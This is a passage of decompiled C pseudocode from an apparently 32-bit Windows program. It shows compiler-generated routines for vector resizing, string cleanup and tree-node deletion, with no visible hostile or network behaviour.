  *(_DWORD *)(a2 + 4) -= 368;
  *(_DWORD *)result = v7;
  return result;
}

//----- (00417BB0) --------------------------------------------------------
int __usercall sub_417BB0<eax>(int a1<ecx>, int a2<edi>)
{
  unsigned int v2; // eax@1
  int v3; // esi@1
  int v4; // esi@3
  int result; // eax@5
  int v6; // edx@5
  signed int v7; // [sp+14h] [bp-4h]@5

  v3 = a1;
  v2 = *(_DWORD *)(a2 + 4);
  if ( a1 >= v2 || *(_DWORD *)a2 > (unsigned int)a1 )
  {
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_418770(a2);
    result = *(_DWORD *)(a2 + 4);
    v7 = 1;
    v6 = 0;
  }
  else
  {
    v4 = a1 - *(_DWORD *)a2;
    if ( v2 == *(_DWORD *)(a2 + 8) )
      sub_418770(a2);
    result = *(_DWORD *)(a2 + 4);
    v3 = *(_DWORD *)a2 + (v4 & 0xFFFFFFE0);
    v6 = 0;
    v7 = 0;
  }
  if ( result != v6 )
  {
    *(_WORD *)result = *(_WORD *)v3;
    *(_DWORD *)(result + 24) = 15;
    *(_DWORD *)(result + 20) = v6;
    *(_BYTE *)(result + 4) = v6;
    result = sub_401600(result + 4, -1, 0, v3 + 4);
  }
  *(_DWORD *)(a2 + 4) += 32;
  return result;
}

//----- (00417C60) --------------------------------------------------------
int __fastcall sub_417C60(int a1, int a2)
{
  int v2; // eax@1
  int v3; // edi@1
  int v4; // esi@1
  unsigned int v5; // edx@2
  int v6; // ecx@3
  unsigned int v7; // eax@5
  unsigned int v8; // ebx@5
  unsigned int v9; // eax@7
  int v10; // edx@10
  char v11; // sf@12
  unsigned __int8 v12; // of@12
  int v13; // ecx@12
  bool v14; // eax@14
  unsigned int v16; // edi@21
  int v17; // ebx@1
  char v18; // cf@2
  int v19; // eax@12
  int v20; // eax@21
  int  s; // [sp+184h] [bp+0h]@1
  unsigned int v22; // [sp+174h] [bp-10h]@1
  int v23; // [sp+14h] [bp-170h]@1
  unsigned int v24; // [sp+18h] [bp-16Ch]@2
  unsigned int v25; // [sp+10h] [bp-174h]@5
  signed int v26; // [sp+E8h] [bp-9Ch]@21
  int v27; // [sp+E4h] [bp-A0h]@21
  char v28; // [sp+D4h] [bp-B0h]@21
  signed int v29; // [sp+104h] [bp-80h]@21
  int v30; // [sp+100h] [bp-84h]@21
  char v31; // [sp+F0h] [bp-94h]@21
  signed int v32; // [sp+120h] [bp-64h]@21
  int v33; // [sp+11Ch] [bp-68h]@21
  char v34; // [sp+10Ch] [bp-78h]@21
  signed int v35; // [sp+13Ch] [bp-48h]@21
  int v36; // [sp+138h] [bp-4Ch]@21
  char v37; // [sp+128h] [bp-5Ch]@21
  signed int v38; // [sp+158h] [bp-2Ch]@21
  int v39; // [sp+154h] [bp-30h]@21
  char v40; // [sp+144h] [bp-40h]@21
  int v41; // [sp+180h] [bp-4h]@21
  signed int v42; // [sp+30h] [bp-154h]@21
  int v43; // [sp+2Ch] [bp-158h]@21
  int v44; // [sp+1Ch] [bp-168h]@21
  char v45; // [sp+38h] [bp-14Ch]@21

  v22 = (unsigned int)& s ^ dword_426018;
  v17 = a1;
  v3 = a2;
  v23 = a1;
  v2 = sub_418D10(a1, a2);
  v4 = v2;
  if ( v2 == *(_DWORD *)(v17 + 4) )
  {
    v13 = 0;
  }
  else
  {
    v18 = *(_DWORD *)(v2 + 32) < 0x10u;
    v5 = *(_DWORD *)(v2 + 28);
    v24 = *(_DWORD *)(v2 + 28);
    if ( v18 )
      v6 = v2 + 12;
    else
      v6 = *(_DWORD *)(v2 + 12);
    v8 = *(_DWORD *)(v3 + 16);
    v7 = *(_DWORD *)(v3 + 16);
    v25 = *(_DWORD *)(v3 + 16);
    if ( v8 < v8 )
      v25 = v7;
    v9 = v8;
    if ( v8 >= v5 )
      v9 = v5;
    if ( *(_DWORD *)(v3 + 20) < 0x10u )
      v10 = v3;
    else
      v10 = *(_DWORD *)v3;
    v19 = sub_401F10(v9, v10, v6);
    v13 = 0;
    v12 = 0;
    v11 = v19 < 0;
    if ( !v19 )
    {
      if ( v8 >= v24 )
        v14 = v25 != v24;
      else
        v14 = -1;
      v12 = 0;
      v11 = v14 < 0;
    }
    if ( !(v11 ^ v12) )
      return v4 + 40;
  }
  v26 = 15;
  v27 = v13;
  v28 = v13;
  v29 = 15;
  v30 = v13;
  v31 = v13;
  v32 = 15;
  v33 = v13;
  v34 = v13;
  v35 = 15;
  v36 = v13;
  v37 = v13;
  v38 = 15;
  v39 = v13;
  v40 = v13;
  v41 = v13;
  v42 = 15;
  v43 = v13;
  LOBYTE(v44) = v13;
  sub_401600((int)&v44, -1, 0, v3);
  LOBYTE(v41) = 1;
  sub_418F10((int)&v28, (int)&v45);
  LOBYTE(v41) = 2;
  v20 = loc_41AD80(&v44, v23);
  sub_41A060(v20, v23, (int)&v24, v4);
  v16 = v24;
  sub_4085A0((int)&v45);
  if ( (unsigned int)v42 >= 0x10 )
    operator delete(v44);
  v42 = 15;
  v43 = 0;
  LOBYTE(v44) = 0;
  sub_4085A0((int)&v28);
  return v16 + 40;
}

//----- (00417E40) --------------------------------------------------------
int __userpurge sub_417E40<eax>(int a1<eax>, int a2<edi>, int a3)
{
  int v3; // eax@1
  int v4; // esi@1
  unsigned int v5; // ebx@2
  int v6; // ecx@3
  unsigned int v7; // eax@5
  unsigned int v8; // esi@5
  int v9; // edx@8
  char v10; // sf@10
  int v11; // eax@10
  int result; // eax@14
  int v13; // esi@1
  int v14; // [sp+Ch] [bp-4h]@1
  int v15; // [sp+8h] [bp-8h]@1

  v13 = a1;
  v3 = sub_418D10(a1, a2);
  v4 = *(_DWORD *)(v13 + 4);
  v14 = v3;
  v15 = v4;
  if ( v3 == v4 )
    goto LABEL_16;
  v5 = *(_DWORD *)(v3 + 28);
  if ( *(_DWORD *)(v3 + 32) < 0x10u )
    v6 = v3 + 12;
  else
    v6 = *(_DWORD *)(v3 + 12);
  v8 = *(_DWORD *)(a2 + 16);
  v7 = *(_DWORD *)(a2 + 16);
  if ( v8 >= v5 )
    v7 = v5;
  if ( *(_DWORD *)(a2 + 20) < 0x10u )
    v9 = a2;
  else
    v9 = *(_DWORD *)a2;
  v11 = sub_401F10(v7, v9, v6);
  v10 = v11 < 0;
  if ( v11 )
    goto LABEL_13;
  if ( v8 >= v5 )
  {
    LOBYTE(v11) = v8 != v5;
    v10 = v11 < 0;
LABEL_13:
    if ( !v10 )
    {
      result = a3;
      *(_DWORD *)a3 = v14;
      return result;
    }
  }
  v4 = v15;
LABEL_16:
  result = a3;
  *(_DWORD *)a3 = v4;
  return result;
}

//----- (00417ED0) --------------------------------------------------------
int __usercall sub_417ED0<eax>(int a1<edi>)
{
  int v1; // ebx@1
  int v2; // esi@1
  int result; // eax@3
  int v4; // eax@1

  v4 = *(_DWORD *)(a1 + 4);
  v1 = *(_DWORD *)(v4 + 4);
  v2 = *(_DWORD *)(v4 + 4);
  if ( !*(_BYTE *)(v1 + 15) )
  {
    do
    {
      sub_418860(*(_DWORD *)(v2 + 8));
      v2 = *(_DWORD *)v2;
      operator delete(v1);
      v1 = v2;
    }
    while ( !*(_BYTE *)(v2 + 15) );
  }
  *(_DWORD *)(*(_DWORD *)(a1 + 4) + 4) = *(_DWORD *)(a1 + 4);
  **(_DWORD **)(a1 + 4) = *(_DWORD *)(a1 + 4);
  result = *(_DWORD *)(a1 + 4);
  *(_DWORD *)(result + 8) = *(_DWORD *)(a1 + 4);
  *(_DWORD *)(a1 + 8) = 0;
  return result;
}

//----- (00417F50) --------------------------------------------------------
int __usercall sub_417F50<eax>(int a1<esi>)
{
  signed int v1; // edi@3
  int result; // eax@47

  if ( *(_DWORD *)(a1 + 1156) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 1136));
  v1 = 15;
  *(_DWORD *)(a1 + 1156) = 15;
  *(_DWORD *)(a1 + 1152) = 0;
  *(_BYTE *)(a1 + 1136) = 0;
  if ( *(_DWORD *)(a1 + 1124) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 1104));
  *(_DWORD *)(a1 + 1124) = 15;
  *(_DWORD *)(a1 + 1120) = 0;
  *(_BYTE *)(a1 + 1104) = 0;
  if ( *(_DWORD *)(a1 + 1092) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 1072));
  *(_DWORD *)(a1 + 1092) = 15;
  *(_DWORD *)(a1 + 1088) = 0;
  *(_BYTE *)(a1 + 1072) = 0;
  if ( *(_DWORD *)(a1 + 1060) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 1040));
  *(_DWORD *)(a1 + 1060) = 15;
  *(_DWORD *)(a1 + 1056) = 0;
  *(_BYTE *)(a1 + 1040) = 0;
  if ( *(_DWORD *)(a1 + 1028) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 1008));
  *(_DWORD *)(a1 + 1028) = 15;
  *(_DWORD *)(a1 + 1024) = 0;
  *(_BYTE *)(a1 + 1008) = 0;
  if ( *(_DWORD *)(a1 + 996) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 976));
  *(_DWORD *)(a1 + 996) = 15;
  *(_DWORD *)(a1 + 992) = 0;
  *(_BYTE *)(a1 + 976) = 0;
  if ( *(_DWORD *)(a1 + 964) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 944));
  *(_DWORD *)(a1 + 964) = 15;
  *(_DWORD *)(a1 + 960) = 0;
  *(_BYTE *)(a1 + 944) = 0;
  if ( *(_DWORD *)(a1 + 932) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 912));
  *(_DWORD *)(a1 + 932) = 15;
  *(_DWORD *)(a1 + 928) = 0;
  *(_BYTE *)(a1 + 912) = 0;
  if ( *(_DWORD *)(a1 + 900) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 880));
  *(_DWORD *)(a1 + 900) = 15;
  *(_DWORD *)(a1 + 896) = 0;
  *(_BYTE *)(a1 + 880) = 0;
  if ( *(_DWORD *)(a1 + 868) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 848));
  *(_DWORD *)(a1 + 868) = 15;
  *(_DWORD *)(a1 + 864) = 0;
  *(_BYTE *)(a1 + 848) = 0;
  if ( *(_DWORD *)(a1 + 836) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 816));
  *(_DWORD *)(a1 + 836) = 15;
  *(_DWORD *)(a1 + 832) = 0;
  *(_BYTE *)(a1 + 816) = 0;
  if ( *(_DWORD *)(a1 + 804) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 784));
  *(_DWORD *)(a1 + 804) = 15;
  *(_DWORD *)(a1 + 800) = 0;
  *(_BYTE *)(a1 + 784) = 0;
  if ( *(_DWORD *)(a1 + 776) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 756));
  *(_DWORD *)(a1 + 776) = 15;
  *(_DWORD *)(a1 + 772) = 0;
  *(_BYTE *)(a1 + 756) = 0;
  if ( *(_DWORD *)(a1 + 744) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 724));
  *(_DWORD *)(a1 + 744) = 15;
  *(_DWORD *)(a1 + 740) = 0;
  *(_BYTE *)(a1 + 724) = 0;
  if ( *(_DWORD *)(a1 + 716) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 696));
  *(_DWORD *)(a1 + 716) = 15;
  *(_DWORD *)(a1 + 712) = 0;
  *(_BYTE *)(a1 + 696) = 0;
  if ( *(_DWORD *)(a1 + 688) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 668));
  *(_DWORD *)(a1 + 688) = 15;
  *(_DWORD *)(a1 + 684) = 0;
  *(_BYTE *)(a1 + 668) = 0;
  if ( *(_DWORD *)(a1 + 656) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 636));
  *(_DWORD *)(a1 + 656) = 15;
  *(_DWORD *)(a1 + 652) = 0;
  *(_BYTE *)(a1 + 636) = 0;
  if ( *(_DWORD *)(a1 + 628) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 608));
  *(_DWORD *)(a1 + 628) = 15;
  *(_DWORD *)(a1 + 624) = 0;
  *(_BYTE *)(a1 + 608) = 0;
  if ( *(_DWORD *)(a1 + 600) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 580));
  *(_DWORD *)(a1 + 600) = 15;
  *(_DWORD *)(a1 + 596) = 0;
  *(_BYTE *)(a1 + 580) = 0;
  if ( *(_DWORD *)(a1 + 572) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 552));
  *(_DWORD *)(a1 + 572) = 15;
  *(_DWORD *)(a1 + 568) = 0;
  *(_BYTE *)(a1 + 552) = 0;
  if ( *(_DWORD *)(a1 + 544) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 524));
  *(_DWORD *)(a1 + 544) = 15;
  *(_DWORD *)(a1 + 540) = 0;
  *(_BYTE *)(a1 + 524) = 0;
  if ( *(_DWORD *)(a1 + 516) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 496));
  *(_DWORD *)(a1 + 516) = 15;
  *(_DWORD *)(a1 + 512) = 0;
  *(_BYTE *)(a1 + 496) = 0;
  if ( *(_DWORD *)(a1 + 488) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 468));
  *(_DWORD *)(a1 + 488) = 15;
  *(_DWORD *)(a1 + 484) = 0;
  *(_BYTE *)(a1 + 468) = 0;
  result = *(_DWORD *)(a1 + 448);
  if ( result )
  {
    sub_418650(result, *(_DWORD *)(a1 + 452));
    result = operator delete(*(_DWORD *)(a1 + 448));
    v1 = 15;
  }
  *(_DWORD *)(a1 + 448) = 0;
  *(_DWORD *)(a1 + 452) = 0;
  *(_DWORD *)(a1 + 456) = 0;
  if ( *(_DWORD *)(a1 + 432) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 412));
  *(_DWORD *)(a1 + 432) = v1;
  *(_DWORD *)(a1 + 428) = 0;
  *(_BYTE *)(a1 + 412) = 0;
  if ( *(_DWORD *)(a1 + 404) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 384));
  *(_DWORD *)(a1 + 404) = v1;
  *(_DWORD *)(a1 + 400) = 0;
  *(_BYTE *)(a1 + 384) = 0;
  if ( *(_DWORD *)(a1 + 368) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 348));
  *(_DWORD *)(a1 + 368) = v1;
  *(_DWORD *)(a1 + 364) = 0;
  *(_BYTE *)(a1 + 348) = 0;
  if ( *(_DWORD *)(a1 + 328) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 308));
  *(_DWORD *)(a1 + 328) = v1;
  *(_DWORD *)(a1 + 324) = 0;
  *(_BYTE *)(a1 + 308) = 0;
  if ( *(_DWORD *)(a1 + 300) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 280));
  *(_DWORD *)(a1 + 300) = v1;
  *(_DWORD *)(a1 + 296) = 0;
  *(_BYTE *)(a1 + 280) = 0;
  if ( *(_DWORD *)(a1 + 272) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 252));
  *(_DWORD *)(a1 + 272) = v1;
  *(_DWORD *)(a1 + 268) = 0;
  *(_BYTE *)(a1 + 252) = 0;
  if ( *(_DWORD *)(a1 + 244) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 224));
  *(_DWORD *)(a1 + 244) = v1;
  *(_DWORD *)(a1 + 240) = 0;
  *(_BYTE *)(a1 + 224) = 0;
  if ( *(_DWORD *)(a1 + 216) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 196));
  *(_DWORD *)(a1 + 216) = v1;
  *(_DWORD *)(a1 + 212) = 0;
  *(_BYTE *)(a1 + 196) = 0;
  if ( *(_DWORD *)(a1 + 188) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 168));
  *(_DWORD *)(a1 + 188) = v1;
  *(_DWORD *)(a1 + 184) = 0;
  *(_BYTE *)(a1 + 168) = 0;
  if ( *(_DWORD *)(a1 + 160) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 140));
  *(_DWORD *)(a1 + 160) = v1;
  *(_DWORD *)(a1 + 156) = 0;
  *(_BYTE *)(a1 + 140) = 0;
  if ( *(_DWORD *)(a1 + 132) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 112));
  *(_DWORD *)(a1 + 132) = v1;
  *(_DWORD *)(a1 + 128) = 0;
  *(_BYTE *)(a1 + 112) = 0;
  if ( *(_DWORD *)(a1 + 104) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 84));
  *(_DWORD *)(a1 + 104) = v1;
  *(_DWORD *)(a1 + 100) = 0;
  *(_BYTE *)(a1 + 84) = 0;
  if ( *(_DWORD *)(a1 + 76) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 56));
  *(_DWORD *)(a1 + 76) = v1;
  *(_DWORD *)(a1 + 72) = 0;
  *(_BYTE *)(a1 + 56) = 0;
  if ( *(_DWORD *)(a1 + 48) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 28));
  *(_DWORD *)(a1 + 48) = v1;
  *(_DWORD *)(a1 + 44) = 0;
  *(_BYTE *)(a1 + 28) = 0;
  if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)(a1 + 20) = v1;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  return result;
}

//----- (004185C0) --------------------------------------------------------
int __userpurge sub_4185C0<eax>(size_t a1<ebx>, int a2)
{
  unsigned int v1; // eax@2
  int v2; // ecx@4
  int v3; // eax@7
  int v4; // esi@9
  int v5; // ecx@12
  int v7; // ecx@11

  if ( !a1 || (v1 = *(_DWORD *)(a2 + 16), !v1) )
    return -1;
  if ( v1 <= 0xFFFFFFFF )
    v2 = v1 - 1;
  else
    v2 = -1;
  if ( *(_DWORD *)(a2 + 20) < 0x10u )
    v3 = a2;
  else
    v3 = *(_DWORD *)a2;
  v4 = v3 + v2;
  if ( !memchr(&dword_421BBC, *(_BYTE *)(v3 + v2), a1) )
  {
    while ( v4 != sub_401260(a2) )
    {
      v7 = *(_BYTE *)(v4-- - 1);
      if ( memchr(&dword_421BBC, v7, a1) )
        goto LABEL_12;
    }
    return -1;
  }
LABEL_12:
  v5 = a2;
  if ( *(_DWORD *)(a2 + 20) >= 0x10u )
    v5 = *(_DWORD *)a2;
  return v4 - v5;
}

//----- (00418650) --------------------------------------------------------
int __usercall sub_418650<eax>(int result<eax>, int a2<edi>)
{
  int i; // esi@1

  for ( i = result; i != a2; i += 32 )
  {
    if ( *(_DWORD *)(i + 20) >= 0x10u )
      result = operator delete(*(_DWORD *)i);
    *(_DWORD *)(i + 20) = 15;
    *(_DWORD *)(i + 16) = 0;
    *(_BYTE *)i = 0;
  }
  return result;
}

//----- (00418690) --------------------------------------------------------
int __stdcall sub_418690(int a1, int a2, int a3, int a4)
{
  int v4; // eax@1
  int v5; // ecx@1
  int v6; // ebx@2
  int v7; // edi@2
  int i; // esi@2
  int result; // eax@4
  int v10; // esi@2
  int v11; // eax@2

  v5 = a3;
  v4 = a4;
  *(_DWORD *)a2 = a3;
  if ( v5 == v4 )
  {
    result = a2;
  }
  else
  {
    v10 = a1;
    v11 = sub_41ABC0(v5, *(_DWORD *)(a1 + 4), v4, *(_DWORD *)(a1 + 4));
    v6 = *(_DWORD *)(v10 + 4);
    v7 = v11;
    for ( i = v11; i != v6; i += 368 )
      sub_40C880(i);
    *(_DWORD *)(a1 + 4) = v7;
    result = a2;
  }
  return result;
}

//----- (004186F0) --------------------------------------------------------
int __fastcall sub_4186F0(int a1)
{
  int v1; // ebx@1
  unsigned int v2; // esi@1
  int result; // eax@3
  int v4; // esi@3
  unsigned int v5; // eax@5

  v1 = *(_DWORD *)a1;
  v2 = ((signed int)(*(_DWORD *)(a1 + 4)
                   - *(_DWORD *)a1
                   + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32)) >> 8)
     + ((unsigned int)(*(_DWORD *)(a1 + 4)
                     - *(_DWORD *)a1
                     + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32)) >> 31);
  if ( v2 > 0xB21641 )
    std___Xlength_error("vector<T> too long");
  v4 = v2 + 1;
  result = ((signed int)(*(_DWORD *)(a1 + 8)
                       - v1
                       + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32)) >> 8)
         + ((unsigned int)(*(_DWORD *)(a1 + 8)
                         - v1
                         + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32)) >> 31);
  if ( v4 > (unsigned int)result )
  {
    if ( 11671106 - ((unsigned int)result >> 1) >= result )
      v5 = ((unsigned int)result >> 1) + result;
    else
      v5 = 0;
    if ( v5 < v4 )
      v5 = v4;
    result = sub_4188F0(a1, v5);
  }
  return result;
}

//----- (00418770) --------------------------------------------------------
int __fastcall sub_418770(int a1)
{
  int v1; // eax@1
  int v2; // esi@1
  int result; // eax@3
  int v4; // edx@3
  unsigned int v5; // edx@5

  v2 = *(_DWORD *)a1;
  v1 = (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >> 5;
  if ( (unsigned int)v1 > 0x7FFFFFE )
    v1 = std___Xlength_error("vector<T> too long");
  result = v1 + 1;
  v4 = (*(_DWORD *)(a1 + 8) - v2) >> 5;
  if ( result > (unsigned int)v4 )
  {
    if ( 134217727 - ((unsigned int)v4 >> 1) >= v4 )
      v5 = ((unsigned int)v4 >> 1) + v4;
    else
      v5 = 0;
    if ( v5 < result )
      v5 = result;
    result = sub_418A10(a1, v5);
  }
  return result;
}

//----- (004187C0) --------------------------------------------------------
int __usercall sub_4187C0<eax>(int a1<eax>)
{
  int v1; // eax@1
  int v2; // edx@1
  int v3; // esi@1
  int result; // eax@3
  int v5; // ecx@3
  unsigned int v6; // ecx@5

  v3 = a1;
  v2 = *(_DWORD *)a1;
  v1 = (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1) >> 1;
  if ( (unsigned int)v1 > 0x7FFFFFFE )
    v1 = std___Xlength_error("vector<T> too long");
  result = v1 + 1;
  v5 = (*(_DWORD *)(v3 + 8) - v2) >> 1;
  if ( result > (unsigned int)v5 )
  {
    if ( 2147483647 - ((unsigned int)v5 >> 1) >= v5 )
      v6 = ((unsigned int)v5 >> 1) + v5;
    else
      v6 = 0;
    if ( v6 < result )
      v6 = result;
    result = sub_418BC0(v3, v6);
  }
  return result;
}

//----- (00418810) --------------------------------------------------------
char __usercall sub_418810<al>(int a1<eax>, int a2<edx>)
{
  unsigned int v2; // edi@1
  int v3; // ecx@2
  unsigned int v4; // eax@4
  unsigned int v5; // esi@4
  char result; // al@10

  v2 = *(_DWORD *)(a1 + 16);
  if ( *(_DWORD *)(a1 + 20) < 0x10u )
    v3 = a1;
  else
    v3 = *(_DWORD *)a1;
  v5 = *(_DWORD *)(a2 + 16);
  v4 = *(_DWORD *)(a2 + 16);
  if ( v5 >= v2 )
    v4 = v2;
  if ( *(_DWORD *)(a2 + 20) >= 0x10u )
    a2 = *(_DWORD *)a2;
  if ( sub_401F10(v4, a2, v3) || v5 >= v2 )
    __asm { sets    al }
  else
    __asm { sets    al }
  return result;
}

//----- (00418860) --------------------------------------------------------
int __stdcall sub_418860(int a1)
{
  int v1; // edi@1
  int i; // esi@1
  int result; // eax@2

  v1 = a1;
  for ( i = a1; !*(_BYTE *)(i + 15); v1 = i )
  {
    sub_418860(*(_DWORD *)(i + 8));
    i = *(_DWORD *)i;
    result = operator delete(v1);
  }
  return result;
}

//----- (004188A0) --------------------------------------------------------
int __usercall sub_4188A0<eax>(int result<eax>)
{
  int v1; // ecx@1
  int v2; // edx@2
  int j; // ecx@3
  int i; // ecx@6

  v1 = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 15) )
  {
    v2 = *(_DWORD *)(v1 + 8);
    if ( *(_BYTE *)(v2 + 15) )
    {
      for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 15); i = *(_DWORD *)(i + 4) )
      {
        if ( *(_DWORD *)result != *(_DWORD *)(i + 8) )
          break;
        *(_DWORD *)result = i;
      }
      *(_DWORD *)result = i;
    }
    else
    {
      for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 15); j = *(_DWORD *)j )
        v2 = j;
      *(_DWORD *)result = v2;
    }
  }
  return result;
}

//----- (004188F0) --------------------------------------------------------
int __thiscall sub_4188F0(int this, unsigned int a2)
{
  unsigned int v2; // ecx@1
  int v3; // edi@1
  int result; // eax@3
  unsigned int v5; // ebx@4
  int v6; // esi@4
  int v7; // eax@4
  int v8; // ecx@4
  int v9; // ST00_4@4
  int v10; // ecx@4
  int v11; // ecx@8
  int v12; // ebx@8
  int v13; // [sp+0h] [bp-28h]@1
  int *v14; // [sp+18h] [bp-10h]@1
  int v15; // [sp+24h] [bp-4h]@4
  int v16; // [sp+10h] [bp-18h]@4
  int v17; // [sp+14h] [bp-14h]@4

  v14 = &v13;
  v3 = this;
  v2 = a2;
  if ( a2 > 0xB21642 )
    std___Xlength_error("vector<T> too long");
  result = ((signed int)(*(_DWORD *)(v3 + 8)
                       - *(_DWORD *)v3
                       + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32)) >> 8)
         + ((unsigned int)(*(_DWORD *)(v3 + 8)
                         - *(_DWORD *)v3
                         + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32)) >> 31);
  if ( result < v2 )
  {
    v7 = sub_419020(v2);
    v15 = 0;
    v8 = *(_DWORD *)v3;
    v9 = *(_DWORD *)(v3 + 4);
    v16 = v7;
    sub_41AEB0(v8, v9, v7);
    v10 = *(_DWORD *)(v3 + 4);
    v6 = *(_DWORD *)v3;
    v17 = *(_DWORD *)(v3 + 4);
    v5 = ((signed int)(v10 - v6 + ((unsigned __int64)(-1307163959i64 * (v10 - v6)) >> 32)) >> 8)
       + ((unsigned int)(v10 - v6 + ((unsigned __int64)(-1307163959i64 * (v10 - v6)) >> 32)) >> 31);
    if ( v6 )
    {
      for ( ; v6 != v17; v6 += 368 )
        sub_40C880(v6);
      operator delete(*(_DWORD *)v3);
    }
    v11 = v16;
    result = v16 + 368 * a2;
    v12 = v16 + 368 * v5;
    *(_DWORD *)(v3 + 8) = v16 + 368 * a2;
    *(_DWORD *)(v3 + 4) = v12;
    *(_DWORD *)v3 = v11;
  }
  return result;
}

//----- (00418A10) --------------------------------------------------------
int __thiscall sub_418A10(int this, unsigned int a2)
{
  unsigned int v2; // edi@1
  int v3; // esi@1
  int result; // eax@3
  int v5; // ecx@4
  int v6; // ebx@4
  int v7; // eax@4
  int v8; // ecx@4
  int v9; // ST00_4@4
  int v10; // ebx@6
  int v11; // [sp+0h] [bp-24h]@1
  int *v12; // [sp+14h] [bp-10h]@1
  int v13; // [sp+20h] [bp-4h]@4
  int v14; // [sp+10h] [bp-14h]@4

  v12 = &v11;
  v3 = this;
  v2 = a2;
  if ( a2 > 0x7FFFFFF )
    std___Xlength_error("vector<T> too long");
  result = (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3) >> 5;
  if ( result < v2 )
  {
    v7 = sub_419080(v2);
    v13 = 0;
    v8 = *(_DWORD *)v3;
    v9 = *(_DWORD *)(v3 + 4);
    v14 = v7;
    sub_41AF50(v8, v9, v7);
    v5 = *(_DWORD *)(v3 + 4);
    v6 = v5 - *(_DWORD *)v3;
    if ( *(_DWORD *)v3 )
    {
      sub_41AE70(*(_DWORD *)v3, v5);
      operator delete(*(_DWORD *)v3);
      v2 = a2;
    }
    result = v14;
    v10 = v14 + (v6 & 0xFFFFFFE0);
    *(_DWORD *)(v3 + 8) = v14 + 32 * v2;
    *(_DWORD *)(v3 + 4) = v10;
    *(_DWORD *)v3 = result;
  }
  return result;
}

//----- (00418AF0) --------------------------------------------------------
int __thiscall sub_418AF0(int this, unsigned int a2)
{
  unsigned int v2; // ecx@1
  int v3; // esi@1
  int result; // eax@3
  int v5; // ebx@4
  int v6; // edi@4
  int v7; // eax@4
  int v8; // edx@4
  int v9; // ecx@4
  int v10; // [sp+0h] [bp-24h]@1
  int *v11; // [sp+14h] [bp-10h]@1
  int v12; // [sp+20h] [bp-4h]@4
  int v13; // [sp+10h] [bp-14h]@4

  v11 = &v10;
  v3 = this;
  v2 = a2;
  if ( a2 > 0x3FFFFFFF )
    std___Xlength_error("vector<T> too long");
  result = (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3) >> 2;
  if ( result < v2 )
  {
    v7 = sub_4190E0(v2);
    v5 = v7;
    v12 = 0;
    v8 = *(_DWORD *)(v3 + 4);
    v9 = *(_DWORD *)v3;
    v13 = v7;
    sub_41B000(v7, v8, v9);
    v6 = (*(_DWORD *)(v3 + 4) - *(_DWORD *)v3) >> 2;
    if ( *(_DWORD *)v3 )
      operator delete(*(_DWORD *)v3);
    result = v5 + 4 * v6;
    *(_DWORD *)(v3 + 8) = v5 + 4 * a2;
    *(_DWORD *)(v3 + 4) = v5 + 4 * v6;
    *(_DWORD *)v3 = v5;
  }
  return result;
}

//----- (00418BC0) --------------------------------------------------------
int __userpurge sub_418BC0<eax>(int a1<esi>, unsigned int a2)
{
  unsigned int v2; // ecx@1
  int result; // eax@3
  int v4; // ebx@4
  int v5; // edi@4
  int v6; // eax@4

  v2 = a2;
  if ( a2 > 0x7FFFFFFF )
    std___Xlength_error("vector<T> too long");
  result = (*(_DWORD *)(a1 + 8) - *(_DWORD *)a1) >> 1;
  if ( result < v2 )
  {
    v6 = sub_419140(v2);
    v4 = v6;
